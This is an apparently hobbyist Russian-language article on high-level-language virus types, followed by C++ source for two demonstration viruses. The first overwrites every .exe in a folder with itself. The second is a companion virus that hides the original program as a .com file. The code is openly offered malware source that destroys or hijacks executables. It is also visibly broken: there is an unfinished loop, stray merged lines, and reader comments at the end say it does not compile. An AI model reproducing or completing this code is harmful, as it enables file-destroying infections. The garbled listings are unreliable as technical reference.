HLL* — High Level Language Virus , написанные на языках высокого уровня, в большинстве случаев имеющие большой размер (порядка 50-300 Кб).
Языками высокого уровня называют все языки программирования кроме ассемблера. Так как на ЯВУ хорошо писать только червей и троянов, так и поэтому шанс выжить у зверков не так уж и высок. Хотя все зависит от кода, да и запаковать файл не сложно. Всяких утилит сейчас полно. Однако если паковать файл, то могут возникнуть проблемы с заражением файлов. Итак, расскажу какие монстры бывают и на какие делятся группы:
HLLC — High Level Language Companion viruses. Компаньон-вирусы (companion). Вирусы, не изменяющие файлы. Алгоритм работы этих вирусов состоит в том, что они создают для EXE-файлов файлы-спутники, имеющие то же самое имя, но с расширением .COM, например, для файла XCOPY.EXE создается файл XCOPY.COM. Вирус записывается в COM-файл и никак не изменяет EXE-файл. При запуске такого файла DOS первым обнаружит и выполнит COM-файл, т.е. вирус, который затем запустит и EXE-файл. Однако есть и другие способы. Можно заменять собой тело жертвы, а саму программу копировать в файл с таким же именем, но с расширением .com, а затем и запускать его. Но эти вирусы совершенно не приспособлены к злому внешнему миру, как и их друзья HLLO.
HLLO: High Level Language Overwriting viruses.
Вирусы оверврайтеры. Ищут файлы и записываются вместо них.
Это вообще элементарные вирусы, которые существуют для обогащения антивирусных компаний. (Касперский не обижайся ;) мы все понимаем).
В конце я приведу несколько примеров вирусов на языке с++. С описаниями для первых трех видов.
HLLP — High Level Language Parasitic viruses. Вирусы паразиты.
Записываются в конец или начало файлов, зараженные файлы остаются работоспособными. Вот и они звери похожие на вирусы. Эти вирусы могут заражать рабочие файлы несколькими методами,
но большинство этих методов реализуемы только на ассемблере. Поэтому я приведу только метод сдвига.
HLLS — High Level Language S viruses. Вирусы симбиозники.(как сифилезники) ;).
Честно говоря, я не знаю, как переводятся S вирусы. Но скажу, что большинство этих вирусов заражают исходные коды программ своим кодом. В одном из вирмейкерских журналов DVL я прочитал статью о таком вирусе, и он был прародителем этого вида зверей. Он заражал своим кодом TP и PAS файлы.
Своего рода полиморфик. Меняющийся за счет компиляции с чужими программами и случайными директивами.
Вобщем модули программ на паскале. На с++ такое вполне реализуемо.
Теоретически можно подумать, что S это Source. Но в статье написано (симбиоз). Так что думайте сами.
HLLW — High Level Language W viruses. Вирусы черви или трояны, их описания нет ни в одной антивирусной энциклопедии. Это большая куча вирусов, которые используют редкие методы распространения и заражения. Следует учесть, что антивирусники тоже ошибаются. Из журналов я понял, что эти вири строго не различаются.
Есть особи, размножающиеся через ДОС функции, они могут лезть в архивы в тексты. Да кругом.
Авторы иногда придумывают весьма странные методы размножения. Этот вид вирей можно назвать – Не вошло в другие разделы.
Ну, на этом теоретическая часть заканчивается и начинается практическая.
Я написал несколько демонстрационных вирусов на с++ (Компилировал в Билдере 6.0).
Все исходники достаточно хорошо откомментированы и понять их не так уж и сложно знающему си.
Далее я приведу алгоритмы описанных мной вирусов для ознакомления и понимания методов их работы.
ПОМНИТЕ НАПИСАНИЕ ВИРУСОВ ПРЕСЛЕДУЕТСЯ ПО ЗАКОНУ.
I)HLLO Первым я опишу вирус-оверврайтер –
Все достаточно просто и думаю ни раз приходило вам в голову. Идея проста до безобразия,
но несмотря на слабую надежду выжить, нативирусники всеже их детектируют.
Вот код :
#include “windows.h”
#include “dir.h” //Стандарнтые Директивы препроцессора(хеадер
#include “stdio.h” //файлы, они нужны для использования определенный хункций#pragma hdrstop //Обработчики ошибок
#pragma argsused#define VIZE 57856 //Вводим примерный размер вируа (потом скомпилите и проверите , введете свой)
void VirusOver(char vir[],char tmp[]) //Это и есть функция заражения, в нее передаем имя вируса и жертвы
{
FILE *SRC, *DST; //Создаем буферы для хранения данных
char Buffer[1024];
short Counter=0;
int v = 0;
if ((strcmp(vir,tmp)) return 0;
SRC = fopen(vir, “rb”); //Считывем тело вируса
if(SRC)
{
DST = fopen(tmp, “wb”); //Считываем тело жертвы
if(DST)
{
for (v=0;v
{
Counter = fread(Buffer, 1, 1024, SRC);
if(Counter)
fwrite(Buffer, 1, Counter, DST); //Записываем вирус поверх жертвы
}
}
}
fclose(SRC);
fclose(DST);
}WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char virname[256]; //Переменные
GetModuleFileName(hInstance, virname, 256); //Находим собственное имя (вируса)
struct ffblk ffblk; //Структура работы с findfirst
int done;
done = findfirst(“*.exe”,&ffblk,0);
while (!done) //Ищем файлы с расширением *.exe пока не перечислим все
{
VirusOver(virname,ffblk.ff_name); //Заменяем
done = findnext(&ffblk); //Если есть еще файлы продолжаем заражение
}
}
II) HLLC Теперь вирусы-компаньоны –
В результате при запуске зараженной программы по ссылке или непосредственно по файлу выполняется вирус с именем программы, затем вирус после выполнения ищет в папке файл со своим именем, но с расширением COM и запускает его.
При заражении стоит пауза от глюков каждую секунду заражается 1 файл, предусмотрена защита от самозаражения, что часто приводит к глюкам и жрет оперативку. К сожалению иконка файла не сохраняется.
Но это компенсируйте какой-нибудь другой иконкой! Типа [txt].
Вот код :
#include “windows.h”
#include “dir.h” //Стандарнтые Директивы препроцессора(хеадер
#include “stdio.h” //файлы, они нужны для использования определенный функций
#include “io.h”#pragma hdrstop //Обработчики ошибок
#pragma argsused#define VIZE 57856 //Вводим примерный размер вируа (потом скомпилите и проверите , введёте свой)
int file_exists(char *filename)
{
return (access(filename, 0) == 0);
}
//—————-
VirusOver(char vir[],char tmp[]) //Это и есть функция заражения, в нее передаем имя вируса и жертвы
{
char kill[256];
unsigned int i;
FILE *SRC, *DST; //Создаем буферы для хранения данных
char Buffer[1024];
short Counter=0;
int v = 0;
if(strstr(vir,tmp)) return 0; //Смотрим не мы ли это сами хотим себя заразить??
strcpy(kill,tmp); // kill = NAME.exe
kill[strlen(tmp)-1]= ‘m’; // kill = NAME.com
kill[strlen(tmp)-2]= ‘o’;
kill[strlen(tmp)-3]= ‘c’;
if(file_exists(kill)) return 0; //Проверка на существование заразы
CopyFile(tmp,kill,true); //Копируем жертву в COM …
SetFileAttributes(kill, FILE_ATTRIBUTE_HIDDEN);
SRC = fopen(vir, “rb”); //Считывем тело вируса
if(SRC)
{
DST = fopen(tmp, “wb”); //Считываем тело жертвы
if(DST)
{
for (v=0;v!=Counter;v++)
{
Counter = fread(Buffer, 1, 1024, SRC);
if(Counter)
fwrite(Buffer, 1, Counter, DST); //Записываем вирус поверх жертвы
}
}
}
fclose(SRC);
fclose(DST); // tmp = NAME.exedelete kill,tmp,i,Buffer,v,Counter,*SRC, *DST;
return 0;
}
WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char virname[256]; //Переменные
char zapas[256];SetErrorMode(SEM_NOGPFAULTERRORBOX); //Опять с ошибками но это не трогаем!
PeekMessage(NULL, NULL, NULL, NULL, NULL);GetModuleFileName(hInstance, virname, 256); //Находим собственное имя (вируса)
GetModuleFileName(hInstance, zapas, 256); //Запаска имени виря для запускаstruct ffblk ffblk; //Структура работы с findfirst
int done;
done = findfirst(“*.exe”,&ffblk,0);while (!done) //Ищем файлы с расширением *.exe пока не перечислим все
{
VirusOver(virname,ffblk.ff_name);
Sleep(1000); //Замедляем программу от тормозов компа
done = findnext(&ffblk); //Если есть еще фалйы продолжаем заражение
}zapas[strlen(zapas)-1]= ‘m’;
zapas[strlen(zapas)-2]= ‘o’;
zapas[strlen(zapas)-3]= ‘c’;WinExec(zapas,SW_SHOW);
return 0;
}
И вирусы-паразиты.
III) – HLLP Это поинтереснее. Привожу метод сдвига.
Исходника компаньона у меня нет, я его написать не смог по причине учёбы и лени!
Приводить алгоритмы остальных видов вирусов я не буду, дабы не ошибиться, едь их огромное множество и они все разные. А поскольку вирусология – молодая наука, то вам еще исследовать и исследовать.
Статья написана исключительно для изучения алгоритмов работы вирусов и методов борьбы с ними. Алгорытмы работы вирусов были выявлены при декомпиляции найденных в интернете вирсуов и на сайте Лаборатории Касперского.
Тока нифига не компилируется, автор видимо не проверил на ошибки.
почему ты не закончил эту строчку
большой хм (непойму зачем вы использовали винайпи если даже окнане создавали это все делается проще